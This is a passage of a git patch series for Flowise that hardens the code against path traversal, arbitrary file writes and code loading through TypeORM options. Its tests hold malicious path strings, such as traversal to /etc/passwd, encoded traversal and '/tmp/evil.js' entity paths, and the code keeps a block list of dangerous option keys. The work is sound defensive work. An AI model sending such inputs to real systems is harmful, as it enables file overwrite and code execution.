From b282e6f5d2f70687fb35c0ce2974e82bb0af83dd Mon Sep 17 00:00:00 2001 From: Ilango Rajagopal Date: Tue, 2 Jun 2026 13:57:31 +0530 Subject: [PATCH 1/3] fix: flowise-598 --- .../SqlDatabaseChain/SqlDatabaseChain.ts | 3 +- packages/components/src/validator.test.ts | 151 +++++++++++++++++- packages/components/src/validator.ts | 51 ++++++ 3 files changed, 203 insertions(+), 2 deletions(-) diff --git a/packages/components/nodes/chains/SqlDatabaseChain/SqlDatabaseChain.ts b/packages/components/nodes/chains/SqlDatabaseChain/SqlDatabaseChain.ts index 10ff1b88df5..87fe9d65a9a 100644 --- a/packages/components/nodes/chains/SqlDatabaseChain/SqlDatabaseChain.ts +++ b/packages/components/nodes/chains/SqlDatabaseChain/SqlDatabaseChain.ts @@ -7,6 +7,7 @@ import { SqlDatabase } from '@langchain/classic/sql_db' import { ICommonObject, INode, INodeData, INodeParams, IServerSideEventStreamer } from '../../../src/Interface' import { ConsoleCallbackHandler, CustomChainHandler, additionalCallbacks } from '../../../src/handler' import { getBaseClasses, getInputVariables, transformBracesWithColon } from '../../../src/utils' +import { validateSQLitePath } from '../../../src/validator' import { checkInputs, Moderation, streamResponse } from '../../moderation/Moderation' import { formatResponse } from '../../outputparsers/OutputParserHelpers' @@ -223,7 +224,7 @@ const getSQLDBChain = async ( databaseType === 'sqlite' ? { type: databaseType, - database: url + database: validateSQLitePath(url) } : ({ type: databaseType, diff --git a/packages/components/src/validator.test.ts b/packages/components/src/validator.test.ts index 44b3af7d40e..740cb822901 100644 --- a/packages/components/src/validator.test.ts +++ b/packages/components/src/validator.test.ts @@ -1,4 +1,10 @@ -import { isPathTraversal, isUnsafeFilePath, validateMimeTypeAndExtensionMatch, validateVectorStorePath } from './validator' +import { + isPathTraversal, + isUnsafeFilePath, + validateMimeTypeAndExtensionMatch, + validateVectorStorePath, + validateSQLitePath +} from './validator' import path from 'path' import { getUserHome } from './utils' @@ -466,3 +472,146 @@ describe('validateVectorStorePath', () => { }) }) }) + +describe('validateSQLitePath', () => { + const userHome = getUserHome() + const defaultFlowiseDir = path.join(userHome, '.flowise') + + describe('valid paths', () => { + it('should resolve a simple filename to ~/.flowise/', () => { + const result = validateSQLitePath('mydb.sqlite') + expect(result).toBe(path.join(defaultFlowiseDir, 'mydb.sqlite')) + }) + + it('should resolve a relative subdirectory path within ~/.flowise', () => { + const result = validateSQLitePath('dbs/mydb.sqlite') + expect(result).toBe(path.join(defaultFlowiseDir, 'dbs', 'mydb.sqlite')) + }) + + it('should accept an absolute path within ~/.flowise', () => { + const absolutePath = path.join(defaultFlowiseDir, 'mydb.sqlite') + const result = validateSQLitePath(absolutePath) + expect(result).toBe(absolutePath) + }) + + it('should accept an absolute path in a nested directory within ~/.flowise', () => { + const absolutePath = path.join(defaultFlowiseDir, 'dbs', 'project', 'mydb.sqlite') + const result = validateSQLitePath(absolutePath) + expect(result).toBe(absolutePath) + }) + + it('should return an absolute path for any valid input', () => { + const result = validateSQLitePath('test.db') + expect(path.isAbsolute(result)).toBe(true) + }) + }) + + describe('empty / missing path', () => { + it('should throw when path is undefined', () => { + expect(() => validateSQLitePath(undefined)).toThrow('Invalid SQLite path: database path is required') + }) + + it('should throw when path is empty string', () => { + expect(() => validateSQLitePath('')).toThrow('Invalid SQLite path: database path is required') + }) + + it('should throw when path is whitespace only', () => { + expect(() => validateSQLitePath(' ')).toThrow('Invalid SQLite path: database path is required') + }) + }) + + describe('path traversal attacks', () => { + it.each([ + ['..', 'bare double-dot'], + ['../etc/passwd', 'path traversal to /etc'], + ['../../../../../../etc/passwd', 'multiple levels of traversal'], + ['dbs/../../etc/passwd', 'traversal in middle of path'], + ['..\\..\\windows\\system32', 'Windows-style traversal'] + ])('should reject %s (%s)', (maliciousPath) => { + expect(() => validateSQLitePath(maliciousPath)).toThrow('Invalid SQLite path: path traversal attempt detected') + }) + }) + + describe('encoded path traversal', () => { + it.each([ + ['%2e%2e/etc/passwd', 'URL-encoded ..'], + ['%2e%2e%2fetc', 'URL-encoded ../etc'], + ['path%2f%2e%2e%2fetc', 'URL-encoded mid-path traversal'], + ['path%5c%2e%2e%5cetc', 'URL-encoded Windows traversal'] + ])('should reject %s (%s)', (encodedPath) => { + expect(() => validateSQLitePath(encodedPath)).toThrow('Invalid SQLite path: encoded path traversal attempt detected') + }) + }) + + describe('control characters and null bytes', () => { + it('should reject path with null byte', () => { + expect(() => validateSQLitePath('db\0.sqlite')).toThrow('Invalid SQLite path: null bytes or control characters detected') + }) + + it('should reject path with control character', () => { + expect(() => validateSQLitePath('db\x01.sqlite')).toThrow('Invalid SQLite path: null bytes or control characters detected') + }) + }) + + describe('disallowed absolute paths', () => { + it('should reject Windows absolute path (C:\\)', () => { + expect(() => validateSQLitePath('C:\\Windows\\System32\\db.sqlite')).toThrow( + 'Invalid SQLite path: Windows absolute paths are not allowed' + ) + }) + + it('should reject UNC path (\\\\server\\share)', () => { + expect(() => validateSQLitePath('\\\\server\\share\\db.sqlite')).toThrow('Invalid SQLite path: UNC paths are not allowed') + }) + + it('should reject /etc paths (RCE attack vector)', () => { + expect(() => validateSQLitePath('/etc/chromium/exploit.conf')).toThrow(/Invalid SQLite path:/) + }) + + it('should reject /tmp path', () => { + expect(() => validateSQLitePath('/tmp/db.sqlite')).toThrow(/Invalid SQLite path:/) + }) + + it('should reject path to frontend build directory (XSS attack vector)', () => { + expect(() => validateSQLitePath('/usr/local/lib/node_modules/flowise/node_modules/flowise-ui/build/xss.html')).toThrow( + /Invalid SQLite path:/ + ) + }) + + it('should reject path to home directory outside .flowise', () => { + const outsidePath = path.join(userHome, 'Documents', 'db.sqlite') + expect(() => validateSQLitePath(outsidePath)).toThrow(/Invalid SQLite path: path must be within/) + }) + }) + + describe('PATH_TRAVERSAL_SAFETY=false bypasses all checks', () => { + beforeEach(() => { + process.env.PATH_TRAVERSAL_SAFETY = 'false' + }) + afterEach(() => { + delete process.env.PATH_TRAVERSAL_SAFETY + }) + + it('should allow arbitrary absolute Unix path', () => { + expect(validateSQLitePath('/tmp/db.sqlite')).toBe('/tmp/db.sqlite') + }) + + it('should allow path to /etc (would be blocked normally)', () => { + expect(validateSQLitePath('/etc/chromium/exploit.conf')).toBe('/etc/chromium/exploit.conf') + }) + + it('should allow path containing ..', () => { + const result = validateSQLitePath('../db.sqlite') + expect(typeof result).toBe('string') + }) + + it('should return default when undefined', () => { + expect(validateSQLitePath(undefined)).toBe(path.join(defaultFlowiseDir, 'database.sqlite')) + }) + + it('should resolve relative path within .flowise when no absolute path given', () => { + const result = validateSQLitePath('test.db') + expect(result).toBe(path.join(defaultFlowiseDir, 'test.db')) + }) + }) +}) diff --git a/packages/components/src/validator.ts b/packages/components/src/validator.ts index 42ef4bf9413..4d0db1829b5 100644 --- a/packages/components/src/validator.ts +++ b/packages/components/src/validator.ts @@ -285,6 +285,57 @@ export const validateVectorStorePath = (userProvidedPath: string | undefined): s return resolvedPath } +/** + * Validates and sanitizes a SQLite database file path to prevent path traversal + * and arbitrary file write attacks. + * + * Relative paths are resolved within ~/.flowise/. Absolute paths must fall inside + * ~/.flowise/. Set PATH_TRAVERSAL_SAFETY=false to bypass all checks (not recommended). + * + * @param {string | undefined} userProvidedPath - File path supplied by the user in the node config + * @returns {string} A validated, absolute path within ~/.flowise/ + * @throws {Error} If the path is missing, contains traversal patterns, or is outside ~/.flowise/ + */ +export const validateSQLitePath = (userProvidedPath: string | undefined): string => { + const allowedDir = path.join(getUserHome(), '.flowise') + + if (process.env.PATH_TRAVERSAL_SAFETY === 'false') { + if (!userProvidedPath || userProvidedPath.trim() === '') { + return path.join(allowedDir, 'database.sqlite') + } + const bypassPath = userProvidedPath.trim() + return path.isAbsolute(bypassPath) ? bypassPath : path.resolve(path.join(allowedDir, bypassPath)) + } + + if (!userProvidedPath || userProvidedPath.trim() === '') { + throw new Error('Invalid SQLite path: database path is required') + } + + const basePath = userProvidedPath.trim() + + if (basePath.includes('..')) throw new Error('Invalid SQLite path: path traversal attempt detected') + if (basePath.toLowerCase().includes('%2e') || basePath.toLowerCase().includes('%2f') || basePath.toLowerCase().includes('%5c')) + throw new Error('Invalid SQLite path: encoded path traversal attempt detected') + // eslint-disable-next-line no-control-regex + if (/\0/.test(basePath) || /[\x00-\x1f]/.test(basePath)) + throw new Error('Invalid SQLite path: null bytes or control characters detected') + if (/^[a-zA-Z]:\\/.test(basePath)) throw new Error('Invalid SQLite path: Windows absolute paths are not allowed') + if (/^\\\\[^\\]/.test(basePath)) throw new Error('Invalid SQLite path: UNC paths are not allowed') + if (/^\\\\\?\\/.test(basePath)) throw new Error('Invalid SQLite path: extended-length paths are not allowed') + + const resolvedPath = path.isAbsolute(basePath) ? path.resolve(basePath) : path.resolve(path.join(allowedDir, basePath)) + + if (resolvedPath.includes('..')) throw new Error('Invalid SQLite path: path traversal detected in resolved path') + + const normalizedResolved = path.normalize(resolvedPath) + const normalizedAllowed = path.normalize(allowedDir) + if (normalizedResolved !== normalizedAllowed && !normalizedResolved.startsWith(normalizedAllowed + path.sep)) { + throw new Error(`Invalid SQLite path: path must be within ${allowedDir}. Attempted path: ${resolvedPath}`) + } + + return resolvedPath +} + /** * Sanitize a file name to prevent path traversal attacks. * Strips common storage prefixes, extracts the basename, runs it through From 1ce73c6acc288cd7d48b1823c65d9be2ece2a456 Mon Sep 17 00:00:00 2001 From: Ilango Rajagopal Date: Tue, 2 Jun 2026 14:19:12 +0530 Subject: [PATCH 2/3] fix: flowise-553 --- .../nodes/memory/AgentMemory/AgentMemory.ts | 4 ++ .../MySQLAgentMemory/MySQLAgentMemory.ts | 4 ++ .../PostgresAgentMemory.ts | 4 ++ .../SQLiteAgentMemory/SQLiteAgentMemory.ts | 4 ++ .../MySQLRecordManager/MySQLrecordManager.ts | 4 ++ .../PostgresRecordManager.ts | 4 ++ .../SQLiteRecordManager.ts | 4 ++ .../nodes/vectorstores/Postgres/Postgres.ts | 2 + .../vectorstores/Postgres/driver/PGVector.ts | 2 + .../vectorstores/Postgres/driver/TypeORM.ts | 2 + packages/components/src/index.ts | 1 + .../src/sanitizeDataSourceOptions.test.ts | 43 +++++++++++++++++++ .../src/sanitizeDataSourceOptions.ts | 24 +++++++++++ 13 files changed, 102 insertions(+) create mode 100644 packages/components/src/sanitizeDataSourceOptions.test.ts create mode 100644 packages/components/src/sanitizeDataSourceOptions.ts diff --git a/packages/components/nodes/memory/AgentMemory/AgentMemory.ts b/packages/components/nodes/memory/AgentMemory/AgentMemory.ts index ca6c0ebed1c..aefde32e347 100644 --- a/packages/components/nodes/memory/AgentMemory/AgentMemory.ts +++ b/packages/components/nodes/memory/AgentMemory/AgentMemory.ts @@ -6,6 +6,7 @@ import { SqliteSaver } from './SQLiteAgentMemory/sqliteSaver' import { DataSource } from 'typeorm' import { PostgresSaver } from './PostgresAgentMemory/pgSaver' import { MySQLSaver } from './MySQLAgentMemory/mysqlSaver' +import { sanitizeDataSourceOptions } from '../../../src/sanitizeDataSourceOptions' class AgentMemory_Memory implements INode { label: string @@ -96,6 +97,8 @@ class AgentMemory_Memory implements INode { label: 'Additional Connection Configuration', name: 'additionalConfig', type: 'json', + description: + 'Optional TypeORM connection options (e.g. ssl, connectTimeout). entities, subscribers, migrations, and extra are not allowed.', additionalParams: true, optional: true } @@ -118,6 +121,7 @@ class AgentMemory_Memory implements INode { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } const threadId = options.sessionId || options.chatId diff --git a/packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts b/packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts index 3eb5c950350..75da3debef5 100644 --- a/packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts +++ b/packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts @@ -3,6 +3,7 @@ import { SaverOptions } from '../interface' import { ICommonObject, IDatabaseEntity, INode, INodeData, INodeParams } from '../../../../src/Interface' import { DataSource } from 'typeorm' import { MySQLSaver } from './mysqlSaver' +import { sanitizeDataSourceOptions } from '../../../../src/sanitizeDataSourceOptions' class MySQLAgentMemory_Memory implements INode { label: string @@ -54,6 +55,8 @@ class MySQLAgentMemory_Memory implements INode { label: 'Additional Connection Configuration', name: 'additionalConfig', type: 'json', + description: + 'Optional TypeORM connection options (e.g. ssl, connectTimeout). entities, subscribers, migrations, and extra are not allowed.', additionalParams: true, optional: true } @@ -74,6 +77,7 @@ class MySQLAgentMemory_Memory implements INode { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } const threadId = options.sessionId || options.chatId diff --git a/packages/components/nodes/memory/AgentMemory/PostgresAgentMemory/PostgresAgentMemory.ts b/packages/components/nodes/memory/AgentMemory/PostgresAgentMemory/PostgresAgentMemory.ts index 2ab86f66e0e..75e1f3c1228 100644 --- a/packages/components/nodes/memory/AgentMemory/PostgresAgentMemory/PostgresAgentMemory.ts +++ b/packages/components/nodes/memory/AgentMemory/PostgresAgentMemory/PostgresAgentMemory.ts @@ -3,6 +3,7 @@ import { SaverOptions } from '../interface' import { ICommonObject, IDatabaseEntity, INode, INodeData, INodeParams } from '../../../../src/Interface' import { DataSource } from 'typeorm' import { PostgresSaver } from './pgSaver' +import { sanitizeDataSourceOptions } from '../../../../src/sanitizeDataSourceOptions' class PostgresAgentMemory_Memory implements INode { label: string @@ -54,6 +55,8 @@ class PostgresAgentMemory_Memory implements INode { label: 'Additional Connection Configuration', name: 'additionalConfig', type: 'json', + description: + 'Optional TypeORM connection options (e.g. ssl, connectTimeout). entities, subscribers, migrations, and extra are not allowed.', additionalParams: true, optional: true } @@ -74,6 +77,7 @@ class PostgresAgentMemory_Memory implements INode { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } const threadId = options.sessionId || options.chatId diff --git a/packages/components/nodes/memory/AgentMemory/SQLiteAgentMemory/SQLiteAgentMemory.ts b/packages/components/nodes/memory/AgentMemory/SQLiteAgentMemory/SQLiteAgentMemory.ts index 29c9b0a37c5..9f66bcb66d1 100644 --- a/packages/components/nodes/memory/AgentMemory/SQLiteAgentMemory/SQLiteAgentMemory.ts +++ b/packages/components/nodes/memory/AgentMemory/SQLiteAgentMemory/SQLiteAgentMemory.ts @@ -4,6 +4,7 @@ import { SaverOptions } from '../interface' import { ICommonObject, IDatabaseEntity, INode, INodeData, INodeParams } from '../../../../src/Interface' import { SqliteSaver } from './sqliteSaver' import { DataSource } from 'typeorm' +import { sanitizeDataSourceOptions } from '../../../../src/sanitizeDataSourceOptions' class SQLiteAgentMemory_Memory implements INode { label: string @@ -40,6 +41,8 @@ class SQLiteAgentMemory_Memory implements INode { label: 'Additional Connection Configuration', name: 'additionalConfig', type: 'json', + description: + 'Optional TypeORM connection options (e.g. ssl, connectTimeout). entities, subscribers, migrations, and extra are not allowed.', additionalParams: true, optional: true } @@ -60,6 +63,7 @@ class SQLiteAgentMemory_Memory implements INode { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } const threadId = options.sessionId || options.chatId diff --git a/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts b/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts index 50f5f680df0..37793f38aa1 100644 --- a/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts +++ b/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts @@ -1,5 +1,6 @@ import { ICommonObject, INode, INodeData, INodeParams } from '../../../src/Interface' import { getBaseClasses, getCredentialData, getCredentialParam } from '../../../src/utils' +import { sanitizeDataSourceOptions } from '../../../src/sanitizeDataSourceOptions' import { ListKeyOptions, RecordManagerInterface, UpdateOptions } from '@langchain/community/indexes/base' import { DataSource } from 'typeorm' @@ -47,6 +48,8 @@ class MySQLRecordManager_RecordManager implements INode { label: 'Additional Connection Configuration', name: 'additionalConfig', type: 'json', + description: + 'Optional TypeORM connection options (e.g. ssl, connectTimeout). entities, subscribers, migrations, and extra are not allowed.', additionalParams: true, optional: true }, @@ -133,6 +136,7 @@ class MySQLRecordManager_RecordManager implements INode { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } const mysqlOptions = { diff --git a/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts b/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts index 2070370b255..58055bc5071 100644 --- a/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts +++ b/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts @@ -4,6 +4,7 @@ import { ListKeyOptions, RecordManagerInterface, UpdateOptions } from '@langchai import { DataSource } from 'typeorm' import { getHost, getSSL } from '../../vectorstores/Postgres/utils' import { getDatabase, getPort, getTableName } from './utils' +import { sanitizeDataSourceOptions } from '../../../src/sanitizeDataSourceOptions' const serverCredentialsExists = !!process.env.POSTGRES_RECORDMANAGER_USER && !!process.env.POSTGRES_RECORDMANAGER_PASSWORD @@ -63,6 +64,8 @@ class PostgresRecordManager_RecordManager implements INode { label: 'Additional Connection Configuration', name: 'additionalConfig', type: 'json', + description: + 'Optional TypeORM connection options (e.g. ssl, connectTimeout). entities, subscribers, migrations, and extra are not allowed.', additionalParams: true, optional: true }, @@ -149,6 +152,7 @@ class PostgresRecordManager_RecordManager implements INode { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } const postgresConnectionOptions = { diff --git a/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts b/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts index 137d452d6cc..d97d742d1ed 100644 --- a/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts +++ b/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts @@ -3,6 +3,7 @@ import { getBaseClasses, getUserHome } from '../../../src/utils' import { ListKeyOptions, RecordManagerInterface, UpdateOptions } from '@langchain/community/indexes/base' import { DataSource } from 'typeorm' import path from 'path' +import { sanitizeDataSourceOptions } from '../../../src/sanitizeDataSourceOptions' class SQLiteRecordManager_RecordManager implements INode { label: string @@ -36,6 +37,8 @@ class SQLiteRecordManager_RecordManager implements INode { label: 'Additional Connection Configuration', name: 'additionalConfig', type: 'json', + description: + 'Optional TypeORM connection options (e.g. ssl, connectTimeout). entities, subscribers, migrations, and extra are not allowed.', additionalParams: true, optional: true }, @@ -113,6 +116,7 @@ class SQLiteRecordManager_RecordManager implements INode { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') diff --git a/packages/components/nodes/vectorstores/Postgres/Postgres.ts b/packages/components/nodes/vectorstores/Postgres/Postgres.ts index 904e28ab864..3764fb94791 100644 --- a/packages/components/nodes/vectorstores/Postgres/Postgres.ts +++ b/packages/components/nodes/vectorstores/Postgres/Postgres.ts @@ -186,6 +186,8 @@ class Postgres_VectorStores implements INode { label: 'Additional Configuration', name: 'additionalConfig', type: 'json', + description: + 'Optional TypeORM connection options (e.g. ssl, connectTimeout). entities, subscribers, migrations, and extra are not allowed.', additionalParams: true, optional: true }, diff --git a/packages/components/nodes/vectorstores/Postgres/driver/PGVector.ts b/packages/components/nodes/vectorstores/Postgres/driver/PGVector.ts index 608858a1923..08779ce9074 100644 --- a/packages/components/nodes/vectorstores/Postgres/driver/PGVector.ts +++ b/packages/components/nodes/vectorstores/Postgres/driver/PGVector.ts @@ -4,6 +4,7 @@ import { VectorStoreDriver } from './Base' import { FLOWISE_CHATID } from '../../../../src' +import { sanitizeDataSourceOptions } from '../../../../src/sanitizeDataSourceOptions' import { DistanceStrategy, PGVectorStore, PGVectorStoreArgs } from '@langchain/community/vectorstores/pgvector' import { Document } from '@langchain/core/documents' import { PoolConfig } from 'pg' @@ -27,6 +28,7 @@ export class PGVectorDriver extends VectorStoreDriver { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } this._postgresConnectionOptions = { diff --git a/packages/components/nodes/vectorstores/Postgres/driver/TypeORM.ts b/packages/components/nodes/vectorstores/Postgres/driver/TypeORM.ts index 4fe76802379..e3e3c5a30a3 100644 --- a/packages/components/nodes/vectorstores/Postgres/driver/TypeORM.ts +++ b/packages/components/nodes/vectorstores/Postgres/driver/TypeORM.ts @@ -1,6 +1,7 @@ import { DataSourceOptions } from 'typeorm' import { VectorStoreDriver } from './Base' import { FLOWISE_CHATID, ICommonObject } from '../../../../src' +import { sanitizeDataSourceOptions } from '../../../../src/sanitizeDataSourceOptions' import { TypeORMVectorStore, TypeORMVectorStoreArgs, TypeORMVectorStoreDocument } from '@langchain/community/vectorstores/typeorm' import { VectorStore } from '@langchain/core/vectorstores' import { Document } from '@langchain/core/documents' @@ -27,6 +28,7 @@ export class TypeORMDriver extends VectorStoreDriver { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } this._postgresConnectionOptions = { diff --git a/packages/components/src/index.ts b/packages/components/src/index.ts index 8f39316c838..eb914cd8da6 100644 --- a/packages/components/src/index.ts +++ b/packages/components/src/index.ts @@ -19,4 +19,5 @@ export * from './agentflowv2Generator' export * from './httpSecurity' export * from './headerValidation' export * from './pythonCodeValidator' +export * from './sanitizeDataSourceOptions' export { MCPToolkit } from '../nodes/tools/MCP/core' diff --git a/packages/components/src/sanitizeDataSourceOptions.test.ts b/packages/components/src/sanitizeDataSourceOptions.test.ts new file mode 100644 index 00000000000..a34d2f4276e --- /dev/null +++ b/packages/components/src/sanitizeDataSourceOptions.test.ts @@ -0,0 +1,43 @@ +import { sanitizeDataSourceOptions } from './sanitizeDataSourceOptions' + +describe('sanitizeDataSourceOptions', () => { + it('returns empty object for empty input', () => { + expect(sanitizeDataSourceOptions({})).toEqual({}) + }) + + it('returns empty object for nullish-like invalid input', () => { + expect(sanitizeDataSourceOptions(null as any)).toEqual({}) + expect(sanitizeDataSourceOptions(undefined as any)).toEqual({}) + }) + + it('passes through safe connection options', () => { + const config = { + ssl: { rejectUnauthorized: false }, + connectTimeout: 10000, + poolSize: 5 + } + expect(sanitizeDataSourceOptions(config)).toEqual(config) + }) + + it('returns a shallow copy and does not mutate the input', () => { + const config = { poolSize: 5 } + const result = sanitizeDataSourceOptions(config) + expect(result).toEqual(config) + expect(result).not.toBe(config) + }) + + describe('blocked keys', () => { + it.each(['entities', 'subscribers', 'migrations', 'extra'] as const)('throws when %s is present', (key) => { + expect(() => sanitizeDataSourceOptions({ [key]: ['/tmp/evil.js'] })).toThrow(`Disallowed TypeORM DataSource option: ${key}`) + }) + + it('throws when multiple blocked keys are present', () => { + expect(() => + sanitizeDataSourceOptions({ + entities: ['/tmp/a.js'], + extra: { foo: 'bar' } + }) + ).toThrow('Disallowed TypeORM DataSource option:') + }) + }) +}) diff --git a/packages/components/src/sanitizeDataSourceOptions.ts b/packages/components/src/sanitizeDataSourceOptions.ts new file mode 100644 index 00000000000..a95180603ba --- /dev/null +++ b/packages/components/src/sanitizeDataSourceOptions.ts @@ -0,0 +1,24 @@ +import { ICommonObject } from './Interface' + +/** TypeORM DataSource options that can load and execute arbitrary local JavaScript files. */ +const BLOCKED_DATASOURCE_KEYS = ['entities', 'subscribers', 'migrations', 'extra'] as const + +export type BlockedDataSourceKey = (typeof BLOCKED_DATASOURCE_KEYS)[number] + +/** + * Rejects user-supplied TypeORM DataSource options that can lead to arbitrary code execution + * when passed to `new DataSource(options).initialize()`. + */ +export function sanitizeDataSourceOptions(config: ICommonObject): ICommonObject { + if (!config || typeof config !== 'object' || Array.isArray(config)) { + return {} + } + + for (const key of BLOCKED_DATASOURCE_KEYS) { + if (Object.prototype.hasOwnProperty.call(config, key)) { + throw new Error(`Disallowed TypeORM DataSource option: ${key}`) + } + } + + return { ...config } +} From fe09b7384e97d7f796a97416a4ee85955a9782c6 Mon Sep 17 00:00:00 2001 From: Ilango Rajagopal Date: Tue, 2 Jun 2026 20:11:41 +0530 Subject: [PATCH 3/3] fix: flowise-616 --- .../SQLiteAgentMemory/SQLiteAgentMemory.ts | 17 ++++---- .../MySQLRecordManager/MySQLrecordManager.ts | 37 ++++++++---------- .../PostgresRecordManager.ts | 39 ++++++++----------- .../SQLiteRecordManager.ts | 32 +++++++-------- packages/components/src/index.ts | 1 + .../src/recordManagerSecurity.test.ts | 38 ++++++++++++++++++ .../components/src/recordManagerSecurity.ts | 36 +++++++++++++++++ .../src/sanitizeDataSourceOptions.test.ts | 33 +++++++++++++++- .../src/sanitizeDataSourceOptions.ts | 28 +++++++++++++ packages/components/src/validator.test.ts | 24 ++++++++++++ packages/components/src/validator.ts | 39 +++++++++++++------ 11 files changed, 244 insertions(+), 80 deletions(-) create mode 100644 packages/components/src/recordManagerSecurity.test.ts create mode 100644 packages/components/src/recordManagerSecurity.ts diff --git a/packages/components/nodes/memory/AgentMemory/SQLiteAgentMemory/SQLiteAgentMemory.ts b/packages/components/nodes/memory/AgentMemory/SQLiteAgentMemory/SQLiteAgentMemory.ts index 9f66bcb66d1..929e00f6f0a 100644 --- a/packages/components/nodes/memory/AgentMemory/SQLiteAgentMemory/SQLiteAgentMemory.ts +++ b/packages/components/nodes/memory/AgentMemory/SQLiteAgentMemory/SQLiteAgentMemory.ts @@ -4,7 +4,8 @@ import { SaverOptions } from '../interface' import { ICommonObject, IDatabaseEntity, INode, INodeData, INodeParams } from '../../../../src/Interface' import { SqliteSaver } from './sqliteSaver' import { DataSource } from 'typeorm' -import { sanitizeDataSourceOptions } from '../../../../src/sanitizeDataSourceOptions' +import { mergeDataSourceOptions, sanitizeDataSourceOptions } from '../../../../src/sanitizeDataSourceOptions' +import { validateSQLitePath } from '../../../../src/validator' class SQLiteAgentMemory_Memory implements INode { label: string @@ -68,13 +69,15 @@ class SQLiteAgentMemory_Memory implements INode { const threadId = options.sessionId || options.chatId - const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') + const database = validateSQLitePath(path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite')) - let datasourceOptions: ICommonObject = { - database, - ...additionalConfiguration, - type: 'sqlite' - } + const datasourceOptions: ICommonObject = mergeDataSourceOptions( + { + database, + type: 'sqlite' + }, + additionalConfiguration + ) const args: SaverOptions = { datasourceOptions, diff --git a/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts b/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts index 37793f38aa1..19eaac5df3b 100644 --- a/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts +++ b/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts @@ -1,6 +1,7 @@ import { ICommonObject, INode, INodeData, INodeParams } from '../../../src/Interface' import { getBaseClasses, getCredentialData, getCredentialParam } from '../../../src/utils' -import { sanitizeDataSourceOptions } from '../../../src/sanitizeDataSourceOptions' +import { mergeDataSourceOptions, sanitizeDataSourceOptions } from '../../../src/sanitizeDataSourceOptions' +import { sanitizeRecordManagerNamespace, sanitizeRecordManagerTableName } from '../../../src/recordManagerSecurity' import { ListKeyOptions, RecordManagerInterface, UpdateOptions } from '@langchain/community/indexes/base' import { DataSource } from 'typeorm' @@ -121,10 +122,10 @@ class MySQLRecordManager_RecordManager implements INode { const user = getCredentialParam('user', credentialData, nodeData) const password = getCredentialParam('password', credentialData, nodeData) const _tableName = nodeData.inputs?.tableName as string - const tableName = _tableName ? _tableName : 'upsertion_records' + const tableName = sanitizeRecordManagerTableName(_tableName ? _tableName : 'upsertion_records') const additionalConfig = nodeData.inputs?.additionalConfig as string const _namespace = nodeData.inputs?.namespace as string - const namespace = _namespace ? _namespace : options.chatflowid + const namespace = _namespace ? sanitizeRecordManagerNamespace(_namespace) : options.chatflowid const cleanup = nodeData.inputs?.cleanup as string const _sourceIdKey = nodeData.inputs?.sourceIdKey as string const sourceIdKey = _sourceIdKey ? _sourceIdKey : 'source' @@ -139,15 +140,17 @@ class MySQLRecordManager_RecordManager implements INode { additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } - const mysqlOptions = { - ...additionalConfiguration, - type: 'mysql', - host: nodeData.inputs?.host as string, - port: nodeData.inputs?.port as number, - username: user, - password: password, - database: nodeData.inputs?.database as string - } + const mysqlOptions = mergeDataSourceOptions( + { + type: 'mysql', + host: nodeData.inputs?.host as string, + port: nodeData.inputs?.port as number, + username: user, + password: password, + database: nodeData.inputs?.database as string + }, + additionalConfiguration + ) const args = { mysqlOptions, @@ -182,15 +185,7 @@ class MySQLRecordManager implements RecordManagerInterface { } sanitizeTableName(tableName: string): string { - // Trim and normalize case, turn whitespace into underscores - tableName = tableName.trim().toLowerCase().replace(/\s+/g, '_') - - // Validate using a regex (alphanumeric and underscores only) - if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { - throw new Error('Invalid table name') - } - - return tableName + return 